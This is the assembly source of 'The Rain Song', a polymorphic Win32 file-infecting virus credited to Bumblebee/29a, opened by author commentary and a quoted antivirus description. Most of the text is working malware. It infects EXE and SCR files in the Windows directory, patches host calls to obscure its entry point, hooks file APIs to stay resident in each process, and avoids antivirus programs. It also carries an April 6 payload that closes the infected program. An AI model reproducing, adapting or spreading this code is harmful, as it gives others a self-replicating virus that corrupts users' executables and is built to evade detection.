; ; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ; The Rain Song ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ ; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ; . The best way to code a virus: listening Led Zeppelin (i'm not so ; old, but the best is ever good ;). And in the time i was coding this ; bug i became hooked again by the Dr. Asimov. 'Pelude to Foundation' ; it's the book. Here in spain the books are going even more expensive, ; but there are cheap editions of Asimov's work (about 6 Euros). The ; name of the virus is from the amazing song by Led Zeppelin, of coz. ; But the payload is a little tribute to Isaac Asimov. Very little. ; This virus triggers its payload in the death date of Asimov. ; May be you're interested in sci-fi, or just looking for a good book to ; evade yourself from reality, there are some titles i love (this could ; be a nice order to read them): ; ; Basics about the Foundation: ; ; Foundation ; Foundation and Empire ; Second Foundation ; ; This books could be readed before or after the basics: ; ; Prelude to Foundation ; Forward the Foundation ; ; It's true the titles say nothing about the book contents. hehehe. This ; is Asimov ;) I feel you'll like them. Books made me be a bit as i am. ; There is nothing that makes you more as you are that those things you ; choose to ignore. Hey! take that ;) ; ; . This is my first per-process virus and also my first virus with EPO. ; Don't spect too much of it. It isn't anything you haven't seen before, ; but with Bumblebee style. May be you're thinking in this way asm32 is ; going more and more close to macro coding (hi ya urgo32!). I'm not ; here for the money ;) Only for fun. And fun is not ever innovate... ; If you think this virus is worth less releasing let me know! ; ; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ ; . This is the source code of a VIRUS. The author is not responsabile ; of any damage that may occur due to the assembly of this file. Use ; it at your own risk. ; ; ÚÄÄÄÄÄÄÄÄÄÄ¿ ; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÀÄÄÄÄÄÄÄÄÄÄÙ ; . Works under win32 systems: ; Windows 9x ; Windows Nt ; Windows 2000 ; Future versions? ; . Uses SEH during scan kernel process. If the virus gets control from ; EPO i test 1st for the last used address and if fails i test using the ; Win9x, WinNt and Win2k fixed kernel addresses. In this case it could ; not work in future versions of win32. But if i can rely in the stack i ; hope it will work also if the kernel changes its address. ; . Gets needed API scanning kernel32.dll in memory using CRC32 instead ; of names. ; . Infects PE files increasing last section. ; . Increases virtual size the amount of bytes needed to have memory for ; temporary data. (virt size>phys size) ; . Takes care of relocations in execution time. ; . Uses size padding as infection sign. ; . Avoids infect most used AV. ; . Per-process resident hooking: ; CreateFileA ; MoveFileA ; CopyFileA ; CreateProcessA ; SetFileAttributesA ; GetFileAttributesA ; SearchPathA ; . Gets the path from the hooked calls to the APIs and infects the ; files found in the directory. ; . Has a runtime part that infects files in windows directory. ; . Infects PE with the extension EXE and SCR. ; . It has 2 layers of encryption. First polymorphic and second a simple ; not loop. This is due to 1st layer uses 32 bits key and i don't want ; bytes unencrypted. ; . Has EPO (Entry Point Obscuring) tech patching a call into the code ; section of the infected program. Supports also the more standard way ; of patching PE header, but avoids it if possible trying to do light ; EPO adding a jmp to the virus at the end of the original code section. ; ; ; AVP Description ÄÄ[comments]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Win32.Rainsong ; ;This is a dangerous per-process memory resident parasitic polymorphic ;Win32 virus. It searches for PE EXE files (Windows executable files) in ;Windows directory and infects them. Then it stays in Windows memory as a ;component of host application and affects PE EXE files that are accessed ;by host application. ; ;While infecting the virus writes itself to the end of the file by increasing ;the size of last file section. The virus uses "Entry Point Obscuring" methods ;and while infecting it does not modify program's entry address. To receive ;control when infected program is run, the virus scans victim file body, looks ;for a CALL command and replaces it with "JUMP VirusEntry" code. As a result ;the virus gets control not immediately at infected file start, but only in ;case the patched file code receives control. ; ;The virus has a bug and often corrupt files while infecting them. ;[This is true due i don't check if the import section has write attributes] ;[RainSong will corrupt all the windows file in win98 se :(] ; ;The virus avoids several anti-virus files infection, it detects them by two ;first letters in file name: AV*, AN*, DR*, ID*, OD*, TB*, F-*. ;[They NEVER analize the algo!!! A file called ?????AV.??? is never infected] ;[Why they insist in the 'two fist letters' shit?] ; ;On April 6th it generates Windows error message with the text: ; ;ASIMOV Jan.2.1920 - Apr.6.1992 ; ;The virus also contains the text: ; ;< The Rain Song Coded By Bumblebee/29a > ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; The source is commented so... have fun! ; After i've released it i've found 2 little bugs :( ; But don't worry, it work fine. See comments. ; ; ; The way of the bee ; .486p locals .model flat,STDCALL extrn ExitProcess:PROC ; needed for 1st generation vSize equ vEnd-vBegin crptSize equ crptEND-crptINI PADDING equ 101 STRINGTOP equ 160 ; from BC++ Win32 API on-line Reference WIN32_FIND_DATA struc dwFileAttributes dd 0 dwLowDateTime0 dd ? ; creation dwHigDateTime0 dd ? dwLowDateTime1 dd ? ; last access dwHigDateTime1 dd ? dwLowDateTime2 dd ? ; last write dwHigDateTime2 dd ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved dd 0,0 cFileName db 260 dup(0) cAlternateFilename db 14 dup(0) db 2 dup(0) WIN32_FIND_DATA ends .DATA ; dummy data db 'WARNING - This is a virus carrier - WARNING' .CODE vBegin label byte inicio: ; call for the polymorphic decryptor call crypt crptINI label byte ; a lame 2nd layer call secondLayerDecrypt crptSecondINI label byte ; to store the return to host address push offset fakeHost hostRET equ $-4 pushad ; to support relocs push offset inicio virusEP equ $-4 ; get delta offset call getDelta ; setup relocations pop eax ; get stored virus EP lea edx,inicio+ebp ; get current sub edx,eax ; calc displacement add dword ptr [esp+20h],edx ; fix hostRET add dword ptr [imageBase+ebp],edx ; fix image base ; Get Kernel32 address ; 1st check if we are in a EPO address mov eax,dword ptr [EPOAddr+ebp] or eax,eax jz getK32notEPO ; we canot rely on stack... try some addresses tryFix: mov esi,dword ptr [kernel32+ebp] ; test latest inc esi call GetKernel32 jnc getAPIsNow mov esi,077e00001h ; test for win2k call GetKernel32 jnc getAPIsNow mov esi,077f00001h ; test for winNt call GetKernel32 jnc getAPIsNow mov esi,0bff70001h ; test for win9x call GetKernel32 jc returnHost jmp getAPIsNow getK32notEPO: ; use the value in the stack mov esi,dword ptr [esp+24h] call GetKernel32 jc tryFix getAPIsNow: ; now get APIs using CRC32 mov edi,12345678h kernel32 equ $-4 mov esi,edi mov esi,dword ptr [esi+3ch] add esi,edi mov esi,dword ptr [esi+78h] add esi,edi add esi,1ch lodsd add eax,edi mov dword ptr [address+ebp],eax lodsd add eax,edi mov dword ptr [names+ebp],eax lodsd add eax,edi mov dword ptr [ordinals+ebp],eax sub esi,16 lodsd mov dword ptr [nexports+ebp],eax xor edx,edx mov dword ptr [expcount+ebp],edx lea eax,FSTAPI+ebp searchl: mov esi,dword ptr [names+ebp] add esi,edx mov esi,dword ptr [esi] add esi,edi push eax edx edi xor edi,edi movzx di,byte ptr [eax+4] call CRC32 xchg ebx,eax pop edi edx eax cmp ebx,dword ptr [eax] je fFound add edx,4 inc dword ptr [expcount+ebp] push edx mov edx,dword ptr [expcount+ebp] cmp dword ptr [nexports+ebp],edx pop edx je returnHost jmp searchl fFound: shr edx,1 add edx,dword ptr [ordinals+ebp] xor ebx,ebx mov bx,word ptr [edx] shl ebx,2 add ebx,dword ptr [address+ebp] mov ecx,dword ptr [ebx] add ecx,edi mov dword ptr [eax+5],ecx add eax,9 xor edx,edx mov dword ptr [expcount+ebp],edx lea ecx,ENDAPI+ebp cmp eax,ecx jb searchl ; we must make a memory copy of the virus and work there ; the original copy it's patched to return host. ; This is necessary due we could be called from a call more ; than once... just think what happens when you decrypt twice... push 00000040h push 00001000h OR 00002000h push (vSize+1000h) push 0h call dword ptr [_VirtualAlloc+ebp] or eax,eax jz returnHost lea esi,inicio+ebp mov edi,eax mov ecx,vSize rep movsb lea esi,hostRET-1 lea edi,inicio+ebp mov ecx,5 rep movsb mov byte ptr [edi],0c3h add eax,offset memCopy-offset inicio push eax ret memCopy: ; get delta offset another time call getDelta lea edx,fileSize+ebp ; check for Asimov push edx ; death date call dword ptr [_GetSystemTime+ebp] lea edx,fileSize+ebp cmp word ptr [edx+2],4 jne skipPay cmp word ptr [edx+6],6 jne skipPay lea edx,message+ebp push edx xor eax,eax push eax call dword ptr [_FatalAppExitA+ebp] ; bye bye ;) skipPay: ; alloc a temporary buffer to generate the poly sample ; of the virus ready to infect push 00000004h push 00001000h OR 00002000h push (vSize+1000h) push 0h call dword ptr [_VirtualAlloc+ebp] or eax,eax jz returnHost mov dword ptr [memHnd+ebp],eax ; the same polymorphic routine is used for each infection ; in the current execution of the virus call dword ptr [_GetTickCount+ebp] mov edi,dword ptr [memHnd+ebp] add edi,vSize mov ecx,(crptSize/4)-(4-(crptSize MOD 4)) call GenDCrpt ; store the size of the sample (for infection process) ; and calc the virtual size mov dword ptr [virtsize+ebp],vSize cmp eax,BUFFERSIZE jb decryptorSmall add dword ptr [virtsize+ebp],eax jmp virtSizeOk decryptorSmall: add dword ptr [virtsize+ebp],BUFFERSIZE virtSizeOk: add eax,vSize mov dword ptr [gensize+ebp],eax ; Hook the API to get per-process residency ; Notice this must be called before any infection call hookApi lea esi,stringBuffer+ebp ; get current directory push esi push STRINGTOP call dword ptr [_GetCurrentDirectoryA+ebp] or eax,eax jz returnHost push STRINGTOP ; get windows directory lea esi,tmpPath+ebp push esi call dword ptr [_GetWindowsDirectoryA+ebp] or eax,eax jz returnHost lea esi,tmpPath+ebp ; goto windows directory push esi call dword ptr [_SetCurrentDirectoryA+ebp] or eax,eax jz returnHost call infectDir ; infect!! buahahahah! ; estoooo lea esi,stringBuffer+ebp ; go back home ;) push esi call dword ptr [_SetCurrentDirectoryA+ebp] returnHost: popad ret ; ; Returns Delta offset into ebp. ; getDelta: call delta delta: pop ebp sub ebp,offset delta ret ; ; General hook. This routine is for all the hooks. ; We have into esi the path to analize, the address of the ; original API in the stack (plus a pushad) and the delta ; offset into ebp. I use a semaphore 'cause the virus doesn't support ; multithread. In case hooked API is called by other thread while ; the virus is in the infection process could be fatal. I'm not sure ; 100% this is necessary but... ;) ; generalHook: pushfd cld ; set sem to working mov byte ptr [semHook+ebp],1 call stringUp jc hookInfectionFail push edi lea edx,stringBuffer+ebp push edx call dword ptr [_GetFileAttributesA+ebp] pop edi inc eax jz hookInfectionFail dec eax and eax,00000010h ; it's a directory? jnz infectPath lea edx,stringBuffer+ebp cmp word ptr [edx+1],'\:' ; absolute path? je getPath cmp word ptr [edx],'\\' ; absolute path? jne infectCurrent ; if it's an absolute path to a file we quit the ; filename and try the directory getPath: cmp byte ptr [edi],'\' je pathOk dec edi cmp edx,edi je hookInfectionFail jmp getPath pathOk: mov dword ptr [edi],0 ; now we have a path ; infects the path changing directory infectPath: ; get current directory lea esi,tmpPath+ebp push esi push STRINGTOP call dword ptr [_GetCurrentDirectoryA+ebp] or eax,eax jz hookInfectionFail ; set current directory to path lea esi,stringBuffer+ebp push esi call dword ptr [_SetCurrentDirectoryA+ebp] or eax,eax jz hookInfectionFail call infectDir ; restore current directory lea esi,tmpPath+ebp push esi call dword ptr [_SetCurrentDirectoryA+ebp] jmp hookInfectionFail ; infects current directory 'cause we haven't any path ; to check (and the accessed file it's just there!) infectCurrent: call infectDir hookInfectionFail: ; set sem to free mov byte ptr [semHook+ebp],0 popfd popad ret ; ; Nice macro ;) ; @hook macro ApiAddress push eax pushad call getDelta mov eax,dword ptr [ApiAddress+ebp] mov dword ptr [esp+20h],eax mov esi,dword ptr [esp+28h] or esi,esi ; skip NULLs in filename jz @@skipThisCall cmp byte ptr [semHook+ebp],0 je generalHook @@skipThisCall: popad ret endm ; ; The hooks. ; Hook0: @hook _CreateFileA Hook1: @hook _MoveFileA Hook2: @hook _CopyFileA Hook3: @hook _CreateProcessA Hook4: @hook _SetFileAttributesA Hook5: @hook _GetFileAttributesA Hook6: @hook _SearchPathA Hook7: ; this data it's included but @hook _SetCurrentDirectoryA ; not used... ops ; i can remove it, but better it ; fits the released binary ; i realized this bug after release ; ; This routine hooks the API that gives the virus per-process residency. ; The image base address is stored in the infection process. ; hookApi: pushad ; init the sem to free mov byte ptr [semHook+ebp],0 mov edx,400000h imageBase equ $-4 cmp word ptr [edx],'ZM' jne noHook mov edi,edx add edi,dword ptr [edx+3ch] cmp word ptr [edi],'EP' jne noHook mov edi,dword ptr [edi+80h] ; RVA import add edi,edx searchK32Imp: mov esi,dword ptr [edi+0ch] ; get name or esi,esi jz noHook add esi,edx push edi ; save (stringUp doesn't) call stringUp pop edi jc nextName lea esi,stringBuffer+ebp cmp dword ptr [esi],'NREK' ; look for Kernel32 module jne nextName cmp dword ptr [esi+4],'23LE' je k32ImpFound nextName: add edi,14h mov esi,dword ptr [edi] or esi,esi jz noHook jmp searchK32Imp k32ImpFound: mov esi,dword ptr [edi+10h] ; get address table or esi,esi jz noHook add esi,edx lea ecx,HOOKTABLEEND+ebp nextImp: ; search for APIs lea edx,HOOKTABLEBEGIN+ebp lodsd or eax,eax jz noHook checkNextAPI: mov edi,dword ptr [edx] cmp eax,dword ptr [edi+ebp] je doHook add edx,8 cmp edx,ecx jne checkNextAPI jmp nextImp doHook: mov eax,dword ptr [edx+4] add eax,ebp mov dword ptr [esi-4],eax add edx,8 cmp edx,ecx jne nextImp noHook: popad ret ; ; Changes to upper case the string by esi storing into stringBuffer. ; Sets carry flag if our string buffer is small. Returns in edi the ; end of the string into the buffer. Requires SEH. ; stringUp: push esi eax lea edi,stringBuffer+ebp mov eax,edi add eax,STRINGTOP stringUpLoop: cmp eax,edi jne continueStringUp stc jmp stringUpOut continueStringUp: movsb cmp byte ptr [esi-1],'a' jb skipThisChar cmp byte ptr [esi-1],'z' ja skipThisChar add byte ptr [edi-1],'A'-'a' skipThisChar: cmp byte ptr [esi-1],0 jne stringUpLoop dec edi clc stringUpOut: pop eax esi ret ; ; This routine gets Kernel32 address. Uses SEH. ; The main purpose of this routine is search for the k32 address using ; a 'guess' address from the stack. But i cannot rely on the stack when ; the virus starts from EPO. Look the pieze of code that calls this ; routine to see how to fix it easily. ; Take a look to the article by Lethal Mind/29a from 29a#4 for more ; information about this method. ; GetKernel32: pushad xor edx,edx lea eax,dword ptr [esp-8h] xchg eax,dword ptr fs:[edx] lea edi,GetKernel32Exception+ebp push edi push eax GetKernel32Loop: dec esi cmp word ptr [esi],'ZM' ; 'poda' -> this makes algo jne GetKernel32Loop ; faster mov dx,word ptr [esi+3ch] test dx,0f800h jnz GetKernel32Loop cmp esi,dword ptr [esi+edx+34h] jne GetKernel32Loop mov dword ptr [kernel32+ebp],esi xor edi,edi pop dword ptr fs:[edi] pop eax popad clc ret GetKernel32Exception: xor edi,edi mov eax,dword ptr fs:[edi] mov esp,dword ptr [eax] xor edi,edi pop dword ptr fs:[edi] pop eax popad stc ret ; ; This routine makes CRC32. ; CRC32: cld xor ecx,ecx dec ecx mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret ; ; Updates the virus sample ready to infect in our memory buffer. ; updateVSample: lea esi,vBegin+ebp mov edi,dword ptr [memHnd+ebp] mov ecx,vSize rep movsb mov ecx,crptSecondEND-crptSecondINI mov esi,crptSecondINI-vBegin add esi,dword ptr [memHnd+ebp] secondEnLayerLoop: not byte ptr [esi] inc esi loop secondEnLayerLoop mov ecx,dword ptr [CodeSize+ebp] mov esi,crptINI-vBegin add esi,dword ptr [memHnd+ebp] mov eax,dword ptr [CrptKey+ebp] encrptLoop: xor dword ptr [esi],eax add esi,4 loop encrptLoop ret ; ; Infects PE file increasing last section. ; ; ESI: addr of file name of PE to infect. ; infect: pushad mov dword ptr [fNameAddr+ebp],esi push esi push esi call dword ptr [_GetFileAttributesA+ebp] pop esi inc eax jz infectionError dec eax mov dword ptr [fileAttrib+ebp],eax push esi push 00000080h push esi call dword ptr [_SetFileAttributesA+ebp] pop esi or eax,eax jz infectionError xor eax,eax push eax push 00000080h push 00000003h push eax push eax push 80000000h OR 40000000h push esi call dword ptr [_CreateFileA+ebp] inc eax jz infectionErrorAttrib dec eax mov dword ptr [fHnd+ebp],eax push 0h push eax call dword ptr [_GetFileSize+ebp] inc eax jz infectionErrorClose dec eax mov dword ptr [fileSize+ebp],eax lea edi,fileTime2+ebp push edi lea edi,fileTime1+ebp push edi lea edi,fileTime0+ebp push edi push dword ptr [fHnd+ebp] call dword ptr [_GetFileTime+ebp] or eax,eax jz infectionErrorClose xor eax,eax push eax push eax push eax push 00000004h push eax push dword ptr [fHnd+ebp] call dword ptr [_CreateFileMappingA+ebp] or eax,eax jz infectionErrorClose mov dword ptr [fhmap+ebp],eax xor eax,eax push eax push eax push eax push 00000004h OR 00000002h push dword ptr [fhmap+ebp] call dword ptr [_MapViewOfFile+ebp] or eax,eax jz infectionErrorCloseMap mov dword ptr [mapMem+ebp],eax mov edi,eax cmp word ptr [edi],'ZM' jne infectionErrorCloseUnmap add edi,dword ptr [edi+3ch] cmp eax,edi ja infectionErrorCloseUnmap ; avoid fucking headers add eax,dword ptr [fileSize+ebp] cmp eax,edi jb infectionErrorCloseUnmap ; avoid fucking headers cmp word ptr [edi],'EP' jne infectionErrorCloseUnmap mov edx,dword ptr [edi+16h] ; test it's a valid PE test edx,2h ; i want executable jz infectionErrorCloseUnmap and edx,2000h ; i don't want DLL jnz infectionErrorCloseUnmap mov dx,word ptr [edi+5ch] dec edx ; i don't want NATIVE jz infectionErrorCloseUnmap mov edx,edi mov esi,edi mov eax,18h add ax,word ptr [edi+14h] add edi,eax mov dword ptr [fstSec+ebp],edi push edx mov cx,word ptr [esi+06h] mov ax,28h dec cx mul cx add edi,eax pop edx test dword ptr [edi+24h],10000000h ; avoid this kind of section jnz infectionErrorCloseUnmap ; we can corrupt it! test dword ptr [edi+24h],0e0000020h ; mmm... This is infected yet jz infectionErrorCloseUnmap ; another bug! must be jnz mov eax,dword ptr [edi+10h] ; i rely on the headers... add eax,dword ptr [edi+14h] mov dword ptr [fileSize+ebp],eax sub eax,dword ptr [edi+14h] ; calc our RVA add eax,dword ptr [edi+0ch] mov dword ptr [myRVA+ebp],eax ; save virus entry point to calc relocations in ; execution time add eax,dword ptr [esi+34h] mov dword ptr [virusEP+ebp],eax mov eax,dword ptr [edi+08h] ; fix the virtual size push edx ; if needed mov ecx,dword ptr [edx+38h] ; some PE have strange xor edx,edx ; virt size (cdplayer p.e.) div ecx inc eax or edx,edx jz rvaFixDone xor edx,edx mul ecx mov dword ptr [edi+08h],eax ; save the fixed virt size rvaFixDone: ; save image base for hook API mov edx,dword ptr [esi+34h] mov dword ptr [imageBase+ebp],edx pop edx call searchEPO ; Search for a call jc notEPO push edi edx ecx ; patch the call mov edx,dword ptr [myRVA+ebp] add edx,dword ptr [esi+34h] ; edx = dest rva mov edi,dword ptr [EPORva+ebp] add edi,dword ptr [esi+34h] ; edi = call rva sub edx,edi sub edx,5 ; edx patch the call mov ecx,dword ptr [EPOAddr+ebp] xchg dword ptr [ecx+1],edx add edx,edi ; get the rva add edx,5 mov dword ptr [hostRET+ebp],edx ; and store it ;) pop ecx edx edi jmp yeahEPO notEPO: call lightEPO ; try light EPO jc notNotEPO push edx ecx ; add the jump mov ecx,dword ptr [myRVA+ebp] add ecx,dword ptr [esi+34h] ; ecx = dest rva mov edx,dword ptr [EPORva+ebp] mov dword ptr [myRVA+ebp],edx add edx,dword ptr [esi+34h] ; edx = jmp rva sub ecx,edx sub ecx,5 ; ecx the addr jmp mov edx,dword ptr [EPOAddr+ebp] mov byte ptr [edx],0e9h mov dword ptr [edx+1],ecx pop ecx edx ; now lets the header be patched with this data ;) notNotEPO: ; if i can't found a nice call to patch and i can't add ; a jump in the end of the code section i use the non-EPO ; infection. This could be a problem for the wild time ; of the virus 'cause heuristics can fake it easily ; but we want to be infectious ;) push edi ; store new ep and get old mov edi,dword ptr [myRVA+ebp] ; set edi=new ep mov dword ptr [EPOAddr+ebp],0 ; getk32 changes if epo! xchg edi,dword ptr [esi+28h] ; get host EP and set new add edi,dword ptr [esi+34h] mov dword ptr [hostRET+ebp],edi ; save it pop edi yeahEPO: push edx ; calc the new virtual size mov eax,dword ptr [virtsize+ebp] ; for the section mov ecx,dword ptr [edx+38h] xor edx,edx div ecx inc eax xor edx,edx mul ecx pop edx add dword ptr [edi+08h],eax ; fix the virtual size add dword ptr [edx+50h],eax ; fix the image size or dword ptr [edi+24h],0e0000020h ; set the properties push edx ; calc new size for mov eax,dword ptr [gensize+ebp] ; the section mov ecx,dword ptr [edx+3ch] xor edx,edx div ecx inc eax xor edx,edx mul ecx pop edx add dword ptr [edi+10h],eax ; store the phys size push edx ; calc file padding mov ecx,PADDING ; (infection sign) add eax,dword ptr [fileSize+ebp] xor edx,edx div ecx inc eax xor edx,edx mul ecx mov dword ptr [pad+ebp],eax pop edx ; update the virus sample ready to infect. call updateVSample push dword ptr [mapMem+ebp] call dword ptr [_UnmapViewOfFile+ebp] push dword ptr [fhmap+ebp] call dword ptr [_CloseHandle+ebp] xor eax,eax push eax push dword ptr [pad+ebp] push eax push 00000004h push eax push dword ptr [fHnd+ebp] call dword ptr [_CreateFileMappingA+ebp] or eax,eax jz infectionErrorClose mov dword ptr [fhmap+ebp],eax xor eax,eax push dword ptr [pad+ebp] push eax push eax push 00000004h OR 00000002h push dword ptr [fhmap+ebp] call dword ptr [_MapViewOfFile+ebp] or eax,eax jz infectionErrorCloseMap mov dword ptr [mapMem+ebp],eax mov ecx,dword ptr [gensize+ebp] mov esi,dword ptr [memHnd+ebp] mov edi,eax add edi,dword ptr [fileSize+ebp] rep movsb xchg ecx,eax ; Why i want the padding mov eax,edi ; to be zeroes? sub eax,ecx ; bah only one 'pijada' mov ecx,dword ptr [pad+ebp] sub ecx,eax xor eax,eax rep stosb infectionErrorCloseUnmap: push dword ptr [mapMem+ebp] call dword ptr [_UnmapViewOfFile+ebp] infectionErrorCloseMap: push dword ptr [fhmap+ebp] call dword ptr [_CloseHandle+ebp] lea edi,fileTime2+ebp push edi lea edi,fileTime1+ebp push edi lea edi,fileTime0+ebp push edi push dword ptr [fHnd+ebp] call dword ptr [_SetFileTime+ebp] infectionErrorClose: push dword ptr [fHnd+ebp] call dword ptr [_CloseHandle+ebp] infectionErrorAttrib: push dword ptr [fileAttrib+ebp] push dword ptr [fNameAddr+ebp] call dword ptr [_SetFileAttributesA+ebp] infectionError: popad ret ; ; This my 'search EPO' routine. Searches for a call into the code section ; that points to: ; ; push ebp ; mov ebp,esp ; ; This is the way the high level lenguages get the arguments used to call ; a procedure. If this code is found i assume the call found it's correct ; and i patch it to jump into the virus. ; ; I tested selecting the call randomly, but this is not needed. There ; could be calls that points the desired code and call that are not ; useful for the virus. Av cannot know wich is the call patched utill ; it finds it. Moreover using 1st found call i'm more sure that the virus ; will be executed! And this is good enought to fuck most cool heuristics. ; searchEPO: pushad mov edi,dword ptr [esi+28h] ; get host EP xor ecx,ecx mov cx,word ptr [esi+06h] ; number of sections mov esi,dword ptr [fstSec+ebp] ; get 1st section addr sectionLoop: ; look for code section mov ebx,dword ptr [esi+0ch] add ebx,dword ptr [esi+08h] ; test it's inside this cmp edi,ebx ; section jb sectionFound add esi,28h dec ecx jnz sectionLoop stc jmp searchEPOOut sectionFound: test dword ptr [esi+24h],10000000h ; avoid this kind of section jnz searchEPOFail ; we can corrupt it! push esi sub edi,dword ptr [esi+0ch] ; get raw address add edi,dword ptr [esi+14h] mov ecx,dword ptr [esi+10h] cmp ecx,edi jna searchEPOFail sub ecx,edi add edi,dword ptr [mapMem+ebp] mov ebx,edi add ebx,ecx sub ebx,10h ; high secure fence callLoop: ; loop that searches cmp byte ptr [edi],0e8h ; for the call jne continueCallLoop mov edx,edi add edx,dword ptr [edi+1] add edx,5 cmp ebx,edx jb continueCallLoop cmp edx,dword ptr [mapMem+ebp] jb continueCallLoop mov esi,edx mov dx,word ptr [esi] cmp dx,08b55h jne continueCallLoop mov dx,word ptr [esi+1] cmp dx,0ec8bh jne continueCallLoop mov dword ptr [EPOAddr+ebp],edi sub edi,dword ptr [mapMem+ebp] pop esi add edi,dword ptr [esi+0ch] ; get rva address sub edi,dword ptr [esi+14h] mov dword ptr [EPORva+ebp],edi clc jmp searchEPOOut continueCallLoop: inc edi loop callLoop searchEPOFail: pop esi stc searchEPOOut: popad ret ; ; This makes a light EPO. Looks for space in the code section to ; put there a jump to virus code. The header is patched but this ; patch is less notorious. This EPO requires phys size of section ; bigger than virtual size + 5 (the size of the jump). ; lightEPO: pushad mov edi,dword ptr [esi+28h] ; get host EP xor ecx,ecx mov cx,word ptr [esi+06h] ; number of sections mov esi,dword ptr [fstSec+ebp] ; get 1st section addr lightSectionLoop: ; look for code section mov ebx,dword ptr [esi+0ch] add ebx,dword ptr [esi+08h] ; test it's inside this cmp edi,ebx ; section jb lightSectionFound add esi,28h dec ecx jnz lightSectionLoop lightEPOFail: stc jmp lightEPOOut lightSectionFound: test dword ptr [esi+24h],10000000h ; avoid this kind of section jnz lightEPOFail ; we can corrupt it! mov eax,dword ptr [esi+08h] ; virtual size add eax,5 ; plus the code we add cmp eax,dword ptr [esi+10h] ; bigger than phys size? ja lightEPOFail mov edi,dword ptr [mapMem+ebp] ; get raw address add edi,dword ptr [esi+08h] add edi,dword ptr [esi+14h] mov dword ptr [esi+08h],eax ; increase 5 bytes mov dword ptr [EPOAddr+ebp],edi sub edi,dword ptr [mapMem+ebp] add edi,dword ptr [esi+0ch] ; get rva address sub edi,dword ptr [esi+14h] mov dword ptr [EPORva+ebp],edi clc lightEPOOut: popad ret ; ; Infects PE files in current directory. ; infectDir: pushad lea esi,find_data+ebp push esi lea esi,fndMask+ebp push esi call dword ptr [_FindFirstFileA+ebp] inc eax jz notFound dec eax mov dword ptr [findHnd+ebp],eax findNext: lea esi,find_data.cFileName+ebp call stringUp lea esi,stringBuffer+ebp push edi ; test the string it's sub edi,esi ; long enought cmp edi,5 pop edi jna skipThisFile cmp dword ptr [edi-4],'EXE.' je validFileExt cmp dword ptr [edi-4],'RCS.' jne skipThisFile validFileExt: mov eax,dword ptr [find_data.nFileSizeLow+ebp] cmp eax,4000h jb skipThisFile ; at least 4000h bytes? mov ecx,PADDING ; test if it's infected xor edx,edx ; yet div ecx or edx,edx ; reminder is zero? jz skipThisFile testIfAv: ; let's search for strings ; that may appear in av progs lea edi,avStrings+ebp mov ecx,vStringsCout testIfAvL: push esi mov ax,word ptr [edi] testAvLoop: cmp word ptr [esi],ax jne contTestLoop pop esi jmp skipThisFile contTestLoop: inc esi cmp byte ptr [esi+3],0 ; skip the ext jne testAvLoop pop esi add edi,2 loop testIfAvL call infect skipThisFile: lea esi,find_data+ebp push esi push dword ptr [findHnd+ebp] call dword ptr [_FindNextFileA+ebp] ; Find next file or eax,eax jnz findNext push dword ptr [findHnd+ebp] call dword ptr [_FindClose+ebp] notFound: popad ret ; ; Virus data --------------------------------------------------------------- ; HOOKTABLEBEGIN label byte dd offset _CreateFileA dd offset Hook0 dd offset _MoveFileA dd offset Hook1 dd offset _CopyFileA dd offset Hook2 dd offset _CreateProcessA dd offset Hook3 dd offset _SetFileAttributesA dd offset Hook4 dd offset _GetFileAttributesA dd offset Hook5 dd offset _SearchPathA dd offset Hook6 HOOKTABLEEND label byte EPOAddr dd 0 copyright db '< The Rain Song Coded By Bumblebee/29a >',0dh,0ah ; little tribute message db 'ASIMOV Jan.2.1920 - Apr.6.1992',0 FSTAPI label byte CrcCreateFileA dd 08c892ddfh db 12 _CreateFileA dd 0 CrcMapViewOfFile dd 0797b49ech db 14 _MapViewOfFile dd 0 CrcCreatFileMappingA dd 096b2d96ch db 19 _CreateFileMappingA dd 0 CrcUnmapViewOfFile dd 094524b42h db 16 _UnmapViewOfFile dd 0 CrcCloseHandle dd 068624a9dh db 12 _CloseHandle dd 0 CrcFindFirstFileA dd 0ae17ebefh db 15 _FindFirstFileA dd 0 CrcFindNextFileA dd 0aa700106h db 14 _FindNextFileA dd 0 CrcFindClose dd 0c200be21h db 10 _FindClose dd 0 